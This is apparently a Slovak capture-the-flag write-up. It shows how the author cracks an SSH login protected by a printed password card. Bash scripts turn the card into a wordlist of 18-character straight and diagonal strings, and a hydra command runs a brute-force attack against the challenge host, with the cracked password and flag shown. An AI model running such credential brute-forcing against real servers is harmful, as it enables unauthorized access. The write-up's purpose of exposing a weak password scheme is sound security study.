Pre skeptikov zverejnil svoju kartičku a vyzval kolegov na prihlásenie na jeho vlastný SSH server (password-card-rules.cypherfix.tcc) pod jeho loginom "futurethinker".
Mám úlohu overiť slabiny tejto metódy.
Ako pomôcku dostávam, že kolegovo obľúbené číslo je 18 a teda počet znakov hesla bude pravdepodobne tento.
Stiahnem si z linky https://owncloud.cesnet.cz/index.php/s/XELt8f8DUe1BIYI/download kartu pre generovanie hesiel a prepíšem ju do textovej formy, aby som ju mohol programovo spracovať.
SQUIRELL*JUDGE*NEWS*LESSON
WORRY*UPDATE*SEAFOOD*CROSS
CHAPTER*SPEEDBUMP*CHECKERS
PHONE*HOPE*NOTEBOOK*ORANGE
CARTOONS*CLEAN*TODAY*ENTER
ZEBRA*PATH*VALUABLE*MARINE
VOLUME*REDUCE*LETTUCE*GOAL
BUFFALOS*THE*CATCH*SUPREME
LONG*OCTOPUS*SEASON*SCHEME
CARAVAN*TOBACCO*WORM*XENON
PUPPYLIKE*WHATEVER*POPULAR
SALAD*UNKNOWN*SQUATS*AUDIT
HOUR*NEWBORN*TURN*WORKSHOP
USEFUL*OFFSHORE*TOAST*BOOK
COMPANY*FREQUENCY*NINETEEN
AMOUNT*CREATE*HOUSE*FOREST
BATTERY*GOLDEN*ROOT*WHEELS
SHEEP*HOLIDAY*APPLE*LAWYER
SUMMER*HORSE*WATER*SULPHUR
Teraz by som potreboval skript, ktorý vyberie 18 znakov v smere hore, dole, vľavo, vpravo. Keďže ide o kartičku s 26 x 19 znakmi, mám 9 možností posunu na riadok a 2 možnosti na stĺpec.
To je iba 9 x 19 x 2 + 2 x 26 x 2 = 446 hesiel na vyskúšanie spôsobom brute force. Ak sa mi podarí vygenerovať súbor s heslami, môžem útočiť programom hydra.
#!/bin/bash# HESLA CO NEPREJDU ZA ROH, IBA 4 SMERY #ZLAVA for r in `cat karta.txt`; do for s in 0 1 2 3 4 5 6 7 8; do echo ${r:$s:18} done done #SPRAVA for r in `cat karta.txt`; do for s in 18 19 20 21 22 23 24 25 26; do for p in 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17; do let z=s-p echo -n "${r:$z:1}" done echo done done # nadol for s in 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25; do for r in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do ria=`head -$r karta.txt | tail -1` echo -n "${ria:$s:1}" done echo for r in 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19; do ria=`head -$r karta.txt | tail -1` echo -n "${ria:$s:1}" done echo done # nahor for s in 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25; do for r in 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1; do ria=`head -$r karta.txt | tail -1` echo -n "${ria:$s:1}" done echo for r in 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2; do ria=`head -$r karta.txt | tail -1` echo -n "${ria:$s:1}" done echo done
Premenné ktoré som použil sú: r-číslo riadku, s-číslo stĺpca, ria-vybraný daný riadok r
Vygeneroval mi 446 hesiel, výstup som presmeroval do súboru slovnik.txt.
Nastal čas spustiť súbor s programom hydra, login a adresu vieme, teraz máme aj zoznam hesiel:
hydra -l futurethinker -P slovnik.txt password-card-rules.cypherfix.tcc -t 1 ssh
Útok heslo nenašiel. Riešenie však tkvelo v detailoch, na obrázku kartičky je dole poznámka, že si mám vybať počiatočný znak a smer, bez prejdenia za okaj. A za textom je niečo ako "kormidlo" zobrazujúce šípky na 8 smerov - potrebujem skúsiť aj šikmé možnosti.
Šikmé heslá
Potrebujem teda vygenerovať slovník so šikmými heslami, ďalšie 4 smery - zľava-hora smerom vpravo-dole, opačne, a sprava-hora smerom vľavo-dole a opačne.
#!/bin/bash
# HESLA CO NEPREJDU ZA ROH, IBA 4 SMERY
# LH-PD
for x in 0 1 2 3 4 5 6 7 8; do
for y in 0 1; do
let n=0
while [ $n -lt 18 ]; do
let a=$x+$n
let b=$y+$n
let p=$b+1
ria=`head -$p karta.txt | tail -1`
echo -n "${ria:$a:1}"
let n=$n+1
done
echo
done
done
# PH-LD
for x in 17 18 19 20 21 22 23 24 25; do
for y in 0 1; do
let n=0
while [ $n -lt 18 ]; do
let a=$x-$n
let b=$y+$n
let p=$b+1
ria=`head -$p karta.txt | tail -1`
echo -n "${ria:$a:1}"
let n=$n+1
done
echo
done
done
# LD-PH
for x in 0 1 2 3 4 5 6 7 8; do
for y in 17 18; do
let n=0
while [ $n -lt 18 ]; do
let a=$x+$n
let b=$y-$n
let p=$b+1
ria=`head -$p karta.txt | tail -1`
echo -n "${ria:$a:1}"
let n=$n+1
done
echo
done
done
# PD-LH
for x in 17 18 19 20 21 22 23 24 25; do
for y in 17 18; do
let n=0
while [ $n -lt 18 ]; do
let a=$x-$n
let b=$y-$n
let p=$b+1
ria=`head -$p karta.txt | tail -1`
echo -n "${ria:$a:1}"
let n=$n+1
done
echo
done
done
S novým slovníkom 72ks hesiel môžem skúsiť ďalší útok:
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-10 22:27:49
[DATA] max 4 tasks per 1 server, overall 4 tasks, 72 login tries (l:1/p:72), ~18 tries per task
[DATA] attacking ssh://password-card-rules.cypherfix.tcc:22/
[22][ssh] host: password-card-rules.cypherfix.tcc login: futurethinker password: SAOPUNUKTPHCANEMFW
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-10 22:28:19
Perfektné, konečne úspech. Teraz sa už len pripojiť a prečítať vlajku:
$ ssh futurethinker@password-card-rules.cypherfix.tcc
futurethinker@password-card-rules.cypherfix.tcc's password:
Nobody will ever read this message anyway, because the TCC password card is super secure. Even my lunch access-code is safe here:
FLAG{uNZm-GGVK-JbxV-1DIx}
Žiadne komentáre:
Zverejnenie komentára